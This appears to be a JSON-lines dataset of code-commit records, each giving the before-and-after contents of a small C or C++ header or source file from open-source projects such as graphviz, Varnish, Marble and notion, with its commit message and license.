{"commit":"736dc11a46bbdf20c807bca3e7585367c1fbc117","old_file":"lib\/ortho\/ortho.h","new_file":"lib\/ortho\/ortho.h","old_contents":"\/* $Id$Revision: *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef ORTHO_H\n#define ORTHO_H\n#include <render.h>\n\nvoid orthoEdges (Agraph_t* g, int useLbls, splineInfo* sinfo);\n\n#endif\n","new_contents":"\/* $Id$Revision: *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef ORTHO_H\n#define ORTHO_H\n#include <render.h>\n\nvoid orthoEdges (Agraph_t* g, int useLbls);\n\n#endif\n","subject":"Add to comments; remove use of sinfo from calling routines; adjust code to play well with other routing functions; add framework for handling loops","message":"Add to comments;\nremove use of sinfo from calling routines;\nadjust code to play well with other routing functions;\nadd framework for handling loops\n","lang":"C","license":"epl-1.0","repos":"kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,ellson\/graphviz,kbrock\/graphviz,tkelman\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,kbrock\/graphviz,ellson\/graphviz,ellson\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,ellson\/graphviz,pixelglow\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz"}
{"commit":"ab7b4a594efab038c9b40f52b0a525c445a25d8d","old_file":"src\/ArticleCellView.h","new_file":"src\/ArticleCellView.h","old_contents":"\/\/\n\/\/  ArticleCellView.h\n\/\/  PXListView\n\/\/\n\/\/  Adapted from PXListView by Alex Rozanski\n\/\/  Modified by Barijaona Ramaholimihaso\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n#import \"PXListViewCell.h\"\n#import \"ArticleView.h\"\n\n\n@interface ArticleCellView : PXListViewCell\n{\n\tAppController * controller;\n\tArticleView *articleView;\n\tNSProgressIndicator * progressIndicator;\n}\n\n@property (nonatomic, retain) ArticleView *articleView;\n@property BOOL inProgress;\n@property int folderId;\n\n\/\/ Public functions\n-(id)initWithReusableIdentifier: (NSString*)identifier inFrame:(NSRect)frameRect;\n@end\n","new_contents":"\/\/\n\/\/  ArticleCellView.h\n\/\/  PXListView\n\/\/\n\/\/  Adapted from PXListView by Alex Rozanski\n\/\/  Modified by Barijaona Ramaholimihaso\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n#import \"PXListViewCell.h\"\n#import \"ArticleView.h\"\n\n\n@interface ArticleCellView : PXListViewCell\n{\n\tAppController * controller;\n\tArticleView *articleView;\n\tNSProgressIndicator * progressIndicator;\n\tBOOL inProgress;\n\tint folderId;\n}\n\n@property (nonatomic, retain) ArticleView *articleView;\n@property BOOL inProgress;\n@property int folderId;\n\n\/\/ Public functions\n-(id)initWithReusableIdentifier: (NSString*)identifier inFrame:(NSRect)frameRect;\n@end\n","subject":"Fix a static analyzer error","message":"Fix a static analyzer error","lang":"C","license":"apache-2.0","repos":"Feitianyuan\/vienna-rss,josh64x2\/vienna-rss,lapcat\/vienna-rss,Eitot\/vienna-rss,aidanamavi\/vienna-rss,iamjasonchoi\/vienna-rss,tothgy\/vienna-rss,barijaona\/vienna-rss,ViennaRSS\/vienna-rss,Feitianyuan\/vienna-rss,barijaona\/vienna-rss,iamjasonchoi\/vienna-rss,barijaona\/vienna-rss,Eitot\/vienna-rss,barijaona\/vienna-rss,lapcat\/vienna-rss,dak180\/vienna,tothgy\/vienna-rss,ViennaRSS\/vienna-rss,barijaona\/vienna-rss,tothgy\/vienna-rss,ViennaRSS\/vienna-rss,Eitot\/vienna-rss,lapcat\/vienna-rss,josh64x2\/vienna-rss,josh64x2\/vienna-rss,lapcat\/vienna-rss,tothgy\/vienna-rss,iamjasonchoi\/vienna-rss,aidanamavi\/vienna-rss,aidanamavi\/vienna-rss,dak180\/vienna,josh64x2\/vienna-rss,ViennaRSS\/vienna-rss,dak180\/vienna,ViennaRSS\/vienna-rss,Eitot\/vienna-rss,Feitianyuan\/vienna-rss,josh64x2\/vienna-rss,dak180\/vienna"}
{"commit":"38d665c82ba3dedc51f597f519dac84546588638","old_file":"include\/shmlog_tags.h","new_file":"include\/shmlog_tags.h","old_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionClose)\nSLTM(ClientAddr)\nSLTM(Request)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(Headers)\n","new_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionClose)\nSLTM(ClientAddr)\nSLTM(Request)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(H_Unknown)\n#define HTTPH(a, b)\tSLTM(b)\n#include \"http_headers.h\"\n#undef HTTPH\n","subject":"Use http_headers.h to define HTTP header tags for logging","message":"Use http_headers.h to define HTTP header tags for logging\n\n\ngit-svn-id: 2c9807fa3ff65b17195bd55dc8a6c4261e10127b@90 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"varnish\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,ssm\/pkg-varnish,zhoualbeart\/Varnish-Cache,franciscovg\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,ambernetas\/varnish-cache,zhoualbeart\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,drwilco\/varnish-cache-drwilco,drwilco\/varnish-cache-drwilco,ssm\/pkg-varnish,feld\/Varnish-Cache,mrhmouse\/Varnish-Cache,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,ajasty-cavium\/Varnish-Cache,1HLtd\/Varnish-Cache,1HLtd\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,mrhmouse\/Varnish-Cache,chrismoulton\/Varnish-Cache,gquintard\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,feld\/Varnish-Cache,alarky\/varnish-cache-doc-ja,alarky\/varnish-cache-doc-ja,1HLtd\/Varnish-Cache,feld\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,drwilco\/varnish-cache-old,gquintard\/Varnish-Cache,franciscovg\/Varnish-Cache,alarky\/varnish-cache-doc-ja,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,ambernetas\/varnish-cache,gauthier-delacroix\/Varnish-Cache,chrismoulton\/Varnish-Cache,varnish\/Varnish-Cache,mrhmouse\/Varnish-Cache,franciscovg\/Varnish-Cache,wikimedia\/operations-debs-varnish,alarky\/varnish-cache-doc-ja,drwilco\/varnish-cache-drwilco,alarky\/varnish-cache-doc-ja,zhoualbeart\/Varnish-Cache,franciscovg\/Varnish-Cache,drwilco\/varnish-cache-old,mrhmouse\/Varnish-Cache,zhoualbeart\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,gquintard\/Varnish-Cache,zhoualbeart\/Varnish-Cache,ambernetas\/varnish-cache,chrismoulton\/Varnish-Cache,1HLtd\/Varnish-Cache,varnish\/Varnish-Cache,feld\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,feld\/Varnish-Cache,ssm\/pkg-varnish,gquintard\/Varnish-Cache,varnish\/Varnish-Cache,chrismoulton\/Varnish-Cache,franciscovg\/Varnish-Cache,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,varnish\/Varnish-Cache,chrismoulton\/Varnish-Cache,drwilco\/varnish-cache-old,mrhmouse\/Varnish-Cache"}
{"commit":"4ee20e213b952faeaf1beb08b8f78600f6c79f1c","old_file":"master\/mcoils.h","new_file":"master\/mcoils.h","old_contents":"#define _MASTERCOILS\n\n#include <inttypes.h>\n\n\/\/Functions for building requests\nextern uint8_t MODBUSBuildRequest01( uint8_t, uint16_t, uint16_t );\nextern uint8_t MODBUSBuildRequest05( uint8_t, uint16_t, uint16_t );\nextern uint8_t MODBUSBuildRequest15( uint8_t, uint16_t, uint16_t, uint8_t * );\n\n\/\/Functions for parsing responses\nextern void MODBUSParseResponse01( union MODBUSParser *, union MODBUSParser * );\n\/\/extern void MODBUSParseResponse05( union MODBUSParser *, union MODBUSParser * );\n\/\/extern void MODBUSParseResponse15( union MODBUSParser *, union MODBUSParser * );\n","new_contents":"#define _MASTERCOILS\n\n#include <inttypes.h>\n\n\/\/Functions for building requests\nextern uint8_t MODBUSBuildRequest01( uint8_t, uint16_t, uint16_t );\nextern uint8_t MODBUSBuildRequest05( uint8_t, uint16_t, uint16_t );\nextern uint8_t MODBUSBuildRequest15( uint8_t, uint16_t, uint16_t, uint8_t * );\n\n\/\/Functions for parsing responses\nextern void MODBUSParseResponse01( union MODBUSParser *, union MODBUSParser * );\nextern void MODBUSParseResponse05( union MODBUSParser *, union MODBUSParser * );\nextern void MODBUSParseResponse15( union MODBUSParser *, union MODBUSParser * );\n","subject":"Add prototypes for functions for parsing slave's responses","message":"Add prototypes for functions for parsing slave's responses\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"15c7a4f2089b5688f7ff3be22fd349d8e3530267","old_file":"test\/binaryTreeNode.h","new_file":"test\/binaryTreeNode.h","old_contents":"\n#include <unordered_set>\n#include \"..\/src\/include\/gc_obj.h\"\n#include \"..\/src\/include\/collector.h\"\n\nclass BinaryTreeNode : public gc_obj {\npublic:\n\tBinaryTreeNode(const int id);\n\t~BinaryTreeNode() = delete;\n\tint size() const;\n\tvoid curtailToLevel(const int lvl);\n\tvoid extendToLevel(const int size,Collector* collector);\n\tvoid addLeftChild(BinaryTreeNode* leftChild);\n\tvoid addRightChild(BinaryTreeNode* rightChild);\n\tvirtual void finalize();\n\tvirtual std::unordered_set<gc_obj*> getManagedChildren();\nprivate:\n\tint id;\n\tBinaryTreeNode* leftChild;\n\tBinaryTreeNode* rightChild;\n};\n\n\n","new_contents":"\n#include <unordered_set>\n#include \"..\/src\/include\/gc_obj.h\"\n\nclass BinaryTreeNode : public gc_obj {\npublic:\n\tBinaryTreeNode(const int id);\n\tint size() const;\n\tvoid curtailToLevel(const int lvl);\n\tvoid extendToLevel(const int size);\n\tvoid addLeftChild(BinaryTreeNode* leftChild);\n\tvoid addRightChild(BinaryTreeNode* rightChild);\n\tvirtual void finalize();\n\tvirtual std::unordered_set<gc_obj*> getManagedChildren();\nprivate:\n\tint id;\n\tBinaryTreeNode* leftChild;\n\tBinaryTreeNode* rightChild;\n};\n\n\n","subject":"Remove manual addObject usage from the collector","message":"Remove manual addObject usage from the collector","lang":"C","license":"mit","repos":"henfredemars\/simple-collector"}
{"commit":"5c443e8dd6db31588d8926af0ebb6dc60501c5f2","old_file":"src\/plugins\/render\/weather\/BBCWeatherItem.h","new_file":"src\/plugins\/render\/weather\/BBCWeatherItem.h","old_contents":"\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2009      Bastian Holst <bastianholst@gmx.de>\n\/\/\n\n#ifndef BBCWEATHERITEM_H\n#define BBCWEATHERITEM_H\n\n#include \"WeatherItem.h\"\n\nclass QString;\nclass QUrl;\n\nnamespace Marble\n{\n\nclass BBCWeatherItem : public WeatherItem\n{\n public:\n    BBCWeatherItem( QObject *parent = 0 );\n    ~BBCWeatherItem();\n    \n    virtual bool request( const QString& type );\n\n    QString service() const;\n    void addDownloadedFile( const QString& url, const QString& type );\n    \n    QUrl observationUrl() const;\n    QUrl forecastUrl() const;\n   \n    quint32 bbcId() const;\n    void setBbcId( quint32 id );\n\n    QString creditHtml() const;\n private:    \n    quint32 m_bbcId;\n    bool m_observationRequested;\n    bool m_forecastRequested;\n};\n\n} \/\/ namespace Marble\n\n#endif \/\/ BBCWEATHERITEM_H\n","new_contents":"\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2009      Bastian Holst <bastianholst@gmx.de>\n\/\/\n\n#ifndef BBCWEATHERITEM_H\n#define BBCWEATHERITEM_H\n\n#include \"WeatherItem.h\"\n\nclass QString;\nclass QUrl;\n\nnamespace Marble\n{\n\nclass BBCWeatherItem : public WeatherItem\n{\n    Q_OBJECT\n\n public:\n    BBCWeatherItem( QObject *parent = 0 );\n    ~BBCWeatherItem();\n    \n    virtual bool request( const QString& type );\n\n    QString service() const;\n    void addDownloadedFile( const QString& url, const QString& type );\n    \n    QUrl observationUrl() const;\n    QUrl forecastUrl() const;\n   \n    quint32 bbcId() const;\n    void setBbcId( quint32 id );\n\n    QString creditHtml() const;\n private:    \n    quint32 m_bbcId;\n    bool m_observationRequested;\n    bool m_forecastRequested;\n};\n\n} \/\/ namespace Marble\n\n#endif \/\/ BBCWEATHERITEM_H\n","subject":"Add Q_OBJECT macro (requested by lupdate).","message":"Add Q_OBJECT macro (requested by lupdate).\n\nsvn path=\/trunk\/KDE\/kdeedu\/marble\/; revision=1205732\n","lang":"C","license":"lgpl-2.1","repos":"David-Gil\/marble-dev,oberluz\/marble,quannt24\/marble,adraghici\/marble,tzapzoor\/marble,rku\/marble,tzapzoor\/marble,David-Gil\/marble-dev,utkuaydin\/marble,probonopd\/marble,quannt24\/marble,adraghici\/marble,oberluz\/marble,adraghici\/marble,utkuaydin\/marble,Earthwings\/marble,Earthwings\/marble,oberluz\/marble,tzapzoor\/marble,utkuaydin\/marble,adraghici\/marble,tzapzoor\/marble,utkuaydin\/marble,Earthwings\/marble,Earthwings\/marble,probonopd\/marble,tzapzoor\/marble,quannt24\/marble,rku\/marble,adraghici\/marble,tucnak\/marble,probonopd\/marble,tucnak\/marble,Earthwings\/marble,David-Gil\/marble-dev,tucnak\/marble,probonopd\/marble,quannt24\/marble,probonopd\/marble,tucnak\/marble,utkuaydin\/marble,utkuaydin\/marble,rku\/marble,oberluz\/marble,David-Gil\/marble-dev,rku\/marble,Earthwings\/marble,AndreiDuma\/marble,tucnak\/marble,AndreiDuma\/marble,tzapzoor\/marble,adraghici\/marble,AndreiDuma\/marble,oberluz\/marble,quannt24\/marble,tucnak\/marble,David-Gil\/marble-dev,quannt24\/marble,probonopd\/marble,AndreiDuma\/marble,AndreiDuma\/marble,tucnak\/marble,AndreiDuma\/marble,David-Gil\/marble-dev,rku\/marble,rku\/marble,tzapzoor\/marble,oberluz\/marble,quannt24\/marble,tzapzoor\/marble,probonopd\/marble"}
{"commit":"b157c4c47402d1086d3324bca15aba09db54e03f","old_file":"KTp\/message-filters-private.h","new_file":"KTp\/message-filters-private.h","old_contents":"\n#include \"message-processor.h\"\n\nclass UrlFilter : public AbstractMessageFilter\n{\n    virtual void filterMessage(Message& message);\n};\n\n","new_contents":"\n#include \"message-processor.h\"\n\nclass UrlFilter : public AbstractMessageFilter\n{\n    virtual void filterMessage(Message& message);\n};\n\nclass ImageFilter : public AbstractMessageFilter\n{\n    virtual void filterMessage(Message& message);\n};\n\nclass EmoticonFilter : public AbstractMessageFilter\n{\n    virtual void filterMessage(Message& message);\n};","subject":"Create headers for ImageFilter and EmoticonFilter","message":"Create headers for ImageFilter and EmoticonFilter\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/ktp-common-internals,leonhandreke\/ktp-common-internals,KDE\/ktp-common-internals,leonhandreke\/ktp-common-internals,KDE\/ktp-common-internals,leonhandreke\/ktp-common-internals"}
{"commit":"8b22cf8108255c4771386ad3101e0058684cd757","old_file":"SSPSolution\/SSPSolution\/DebugHandler.h","new_file":"SSPSolution\/SSPSolution\/DebugHandler.h","old_contents":"#ifndef SSPAPPLICATION_DEBUG_DEBUGHANDLER_H\n#define SSPAPPLICATION_DEBUG_DEBUGHANDLER_H\n\n#include <vector>\n#include <iostream>\n#include <Windows.h>\n\nclass DebugHandler\n{\nprivate:\n\tstd::vector<LARGE_INTEGER> m_timers;\n\tstd::vector<std::string> m_labels;\n\tstd::vector<unsigned short int> m_timerMins;\n\tstd::vector<unsigned short int> m_timerMaxs;\n\tstd::vector<float> m_customValues;\n\tunsigned short int m_lastFPS[10];\n\tunsigned short int m_lastFPSCurr;\n\npublic:\n\tDebugHandler();\n\t~DebugHandler();\n\n\tint StartTimer(std::string label); \/\/returns timer ID, -1 fail\n\tint EndTimer();\n\tint EndTimer(int timerID);\n\n\tint StartProgram();\n\tint EndProgram();\n\tint ShowFPS(bool show);\n\n\tint CreateCustomLabel(std::string label, float value); \/\/returns label ID, -1 fail\n\tint UpdateCustomLabel(int labelID, float newValue);\n\n\tint Display();\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_DEBUG_DEBUGHANDLER_H\n#define SSPAPPLICATION_DEBUG_DEBUGHANDLER_H\n\n#include <vector>\n#include <iostream>\n#include <Windows.h>\n\nclass DebugHandler\n{\nprivate:\n\tstd::vector<LARGE_INTEGER> m_timers;\n\tstd::vector<std::string> m_labels;\n\tstd::vector<unsigned short int> m_timerMins;\n\tstd::vector<unsigned short int> m_timerMaxs;\n\tstd::vector<float> m_customValues;\n\tunsigned short int m_frameTimes[10];\n\tunsigned short int m_currFrameTimesPtr;\n\npublic:\n\tDebugHandler();\n\t~DebugHandler();\n\n\tint StartTimer(std::string label); \/\/returns timer ID, -1 fail\n\tint EndTimer();\n\tint EndTimer(int timerID);\n\n\tint StartProgram();\n\tint EndProgram();\n\tint ShowFPS(bool show);\n\n\tint CreateCustomLabel(std::string label, float value); \/\/returns label ID, -1 fail\n\tint UpdateCustomLabel(int labelID, float newValue);\n\n\tint Display();\n};\n\n#endif","subject":"UPDATE some variable name changes","message":"UPDATE some variable name changes\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"9e08143850140aa3ebc764c25c8ca85ae7e30bdb","old_file":"hab\/proxr\/cb-set-resource.c","new_file":"hab\/proxr\/cb-set-resource.c","old_contents":"#include <string.h>\n#include \"proxrcmds.h\"\n#include \"sim-hab.h\"\n\nvoid cb_set_resource(bionet_resource_t *resource, bionet_value_t *value)\n{\n    uint8_t data;\n    float content;\n    int id;\n    bionet_node_t *node;\n\n    bionet_value_get_uint8(value, &data);\n    if(data < 0 || data > 255)\n\treturn;\n\n    node = bionet_resource_get_node(resource);\n    \/\/ get index of resource\n    \/\/FIXME: probably a better way to do this\n    for(int i=0; i<16; i++)\n    {\n        char buf[5];\n        char name[24];\n        strcpy(name, \"Potentiometer\\0\");\n        sprintf(buf,\"%d\", i);\n        int len = strlen(buf);\n        buf[len] = '\\0';\n        strcat(name, buf);\n\n        if(bionet_resource_matches_id(resource, name))\n        {\n            id = i;\n            break;\n        }\n    }\n    \/\/ command proxr to adjust to new value\n    set_potentiometer(id, data); \n    \/\/ set resources datapoint to new value\n    content = data*POT_CONVERSION;\n    bionet_resource_set_float(resource, content, NULL);\n    hab_report_datapoints(node);\n}\n\n","new_contents":"#include <string.h>\n#include \"proxrcmds.h\"\n#include \"sim-hab.h\"\n\nvoid cb_set_resource(bionet_resource_t *resource, bionet_value_t *value)\n{\n    float data;\n    float content;\n    int id;\n    bionet_node_t *node;\n\n    bionet_value_get_float(value, &data);\n    if(data < 0 || data > 255)\n\treturn;\n\n    node = bionet_resource_get_node(resource);\n    \/\/ get index of resource\n    \/\/FIXME: probably a better way to do this\n    for(int i=0; i<16; i++)\n    {\n        char buf[5];\n        char name[24];\n        strcpy(name, \"Potentiometer\\0\");\n        sprintf(buf,\"%d\", i);\n        int len = strlen(buf);\n        buf[len] = '\\0';\n        strcat(name, buf);\n\n        if(bionet_resource_matches_id(resource, name))\n        {\n            id = i;\n            break;\n        }\n    }\n    \/\/ command proxr to adjust to new value\n    set_potentiometer(id, (int)data); \n    \/\/ set resources datapoint to new value\n    content = data*POT_CONVERSION;\n    bionet_resource_set_float(resource, content, NULL);\n    hab_report_datapoints(node);\n}\n\n","subject":"Modify set resource. Using floats now.","message":"Modify set resource. Using floats now.\n","lang":"C","license":"lgpl-2.1","repos":"ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead"}
{"commit":"d826393cdebe340b3716002bfb1298ab19b57e83","old_file":"include\/asm-ia64\/resource.h","new_file":"include\/asm-ia64\/resource.h","old_contents":"#ifndef _ASM_IA64_RESOURCE_H\n#define _ASM_IA64_RESOURCE_H\n\n#include <asm\/ustack.h>\n#define _STK_LIM_MAX\tDEFAULT_USER_STACK_SIZE\n#include <asm-generic\/resource.h>\n\n#endif \/* _ASM_IA64_RESOURCE_H *\/\n","new_contents":"#ifndef _ASM_IA64_RESOURCE_H\n#define _ASM_IA64_RESOURCE_H\n\n#include <asm\/ustack.h>\n#include <asm-generic\/resource.h>\n\n#endif \/* _ASM_IA64_RESOURCE_H *\/\n","subject":"Remove stack hard limit on ia64","message":"[IA64] Remove stack hard limit on ia64\n\nUn-Breaks pthreads, since Oct 2003.\n\nSigned-off-by: Olaf Hering <ded022db89399a060a39da31922f173c6556c2d9@aepfle.de>\nSigned-off-by: Andrew Morton <5c1e68b099950c134891f0b6e179498a8ebe9cf9@linux-foundation.org>\nSigned-off-by: Tony Luck <e7984595ec0368ff920a7b3521dc7093683f6f26@intel.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"c098e4740216c0410a474bc54df3f70e91857079","old_file":"int2eng\/str_util.h","new_file":"int2eng\/str_util.h","old_contents":"","new_contents":"\/\/\n\/\/  str_util.h\n\/\/  int2eng\n\/\/\n\/\/  Created by Rodrigo Fontes on 17\/12\/16.\n\/\/  Copyright © 2016 Rodrigo Fontes. All rights reserved.\n\/\/\n\n#ifndef str_util_h\n#define str_util_h\n\n\n#endif \/* str_util_h *\/\n","subject":"Add header file with useful string functions","message":"Add header file with useful string functions\n","lang":"C","license":"mit","repos":"fontesrp\/int2eng"}
{"commit":"312dfd2307f1acc406d61135b91081b3d4115e8a","old_file":"Settings\/Controls\/Control.h","new_file":"Settings\/Controls\/Control.h","old_contents":"#pragma once\n\n#include <Windows.h>\n#include <functional>\n#include <string>\n\nclass Control {\npublic:\n    Control();\n    Control(int id, HWND parent);\n    ~Control();\n\n    virtual RECT Dimensions();\n\n    virtual void Enable();\n    virtual void Disable();\n    virtual bool Enabled();\n    virtual void Enabled(bool enabled);\n\n    virtual std::wstring Text();\n    virtual int TextAsInt();\n    virtual bool Text(std::wstring text);\n    virtual bool Text(int value);\n\n    void WindowExStyle();\n    void WindowExStyle(long exStyle);\n    void AddWindowExStyle(long exStyle);\n    void RemoveWindowExStyle(long exStyle);\n\n    \/\/\/ <summary>Handles WM_COMMAND messages.<\/summary>\n    \/\/\/ <param name=\"nCode\">Control-defined notification code<\/param>\n    virtual DLGPROC Command(unsigned short nCode);\n\n    \/\/\/ <summary>Handles WM_NOTIFY messages.<\/summary>\n    \/\/\/ <param name=\"nHdr\">Notification header structure<\/param>\n    virtual DLGPROC Notification(NMHDR *nHdr);\n\nprotected:\n    int _id;\n    HWND _hWnd;\n    HWND _parent;\n\nprotected:\n    static const int MAX_EDITSTR = 0x4000;\n};","new_contents":"#pragma once\n\n#include <Windows.h>\n#include <functional>\n#include <string>\n\nclass Control {\npublic:\n    Control();\n    Control(int id, HWND parent);\n    ~Control();\n\n    virtual RECT Dimensions();\n\n    virtual void Enable();\n    virtual void Disable();\n    virtual bool Enabled();\n    virtual void Enabled(bool enabled);\n\n    virtual std::wstring Text();\n    virtual int TextAsInt();\n    virtual bool Text(std::wstring text);\n    virtual bool Text(int value);\n\n    void WindowExStyle();\n    void WindowExStyle(long exStyle);\n    void AddWindowExStyle(long exStyle);\n    void RemoveWindowExStyle(long exStyle);\n\n    \/\/\/ <summary>Handles WM_COMMAND messages.<\/summary>\n    \/\/\/ <param name=\"nCode\">Control-defined notification code<\/param>\n    virtual DLGPROC Command(unsigned short nCode);\n\n    \/\/\/ <summary>Handles WM_NOTIFY messages.<\/summary>\n    \/\/\/ <param name=\"nHdr\">Notification header structure<\/param>\n    virtual DLGPROC Notification(NMHDR *nHdr);\n\nprotected:\n    int _id;\n    HWND _hWnd;\n    HWND _parent;\n\nprotected:\n    static const int MAX_EDITSTR = 4096;\n};","subject":"Decrease MAX_EDITSTR. Was way too big.","message":"Decrease MAX_EDITSTR. Was way too big.\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX"}
{"commit":"9db141ce4a4033e3c1ac5b7b69d55ff85d62a27f","old_file":"libtu\/util.h","new_file":"libtu\/util.h","old_contents":"\/*\n * libtu\/util.h\n *\n * Copyright (c) Tuomo Valkonen 1999-2002. \n *\n * You may distribute and modify this library under the terms of either\n * the Clarified Artistic License or the GNU LGPL, version 2.1 or later.\n *\/\n\n#ifndef LIBTU_UTIL_H\n#define LIBTU_UTIL_H\n\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"types.h\"\n#include \"optparser.h\"\n\nextern void libtu_init(const char *argv0);\nextern const char *libtu_progname();\nextern const char *libtu_progbasename();\n\n#endif \/* LIBTU_UTIL_H *\/\n","new_contents":"\/*\n * libtu\/util.h\n *\n * Copyright (c) Tuomo Valkonen 1999-2002. \n *\n * You may distribute and modify this library under the terms of either\n * the Clarified Artistic License or the GNU LGPL, version 2.1 or later.\n *\/\n\n#ifndef LIBTU_UTIL_H\n#define LIBTU_UTIL_H\n\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"types.h\"\n#include \"optparser.h\"\n\n\/** \n * @parame argv0 The program name used to invoke the current program, with \n * path (if specified). Unfortunately it is generally not easy to determine \n * the encoding of this string, so we don't require a specific one here.\n * \n * @see http:\/\/stackoverflow.com\/questions\/5408730\/what-is-the-encoding-of-argv\n *\/\nextern void libtu_init(const char *argv0);\n\/** \n * The program name used to invoke the current program, with path (if \n * supplied). Unfortunately the encoding is undefined.\n *\/\nextern const char *libtu_progname();\n\/** \n * The program name used to invoke the current program, without path.\n * Unfortunately the encoding is undefined. \n *\/\nextern const char *libtu_progbasename();\n\n#endif \/* LIBTU_UTIL_H *\/\n","subject":"Document (lack of) character encoding rules in the API","message":"Document (lack of) character encoding rules in the API\n","lang":"C","license":"lgpl-2.1","repos":"p5n\/notion,dkogan\/notion.xfttest,anoduck\/notion,anoduck\/notion,raboof\/notion,knixeur\/notion,p5n\/notion,dkogan\/notion.xfttest,dkogan\/notion,dkogan\/notion,dkogan\/notion.xfttest,neg-serg\/notion,anoduck\/notion,dkogan\/notion,raboof\/notion,anoduck\/notion,knixeur\/notion,dkogan\/notion,anoduck\/notion,knixeur\/notion,neg-serg\/notion,neg-serg\/notion,dkogan\/notion,p5n\/notion,p5n\/notion,p5n\/notion,knixeur\/notion,neg-serg\/notion,knixeur\/notion,raboof\/notion,dkogan\/notion.xfttest,raboof\/notion"}
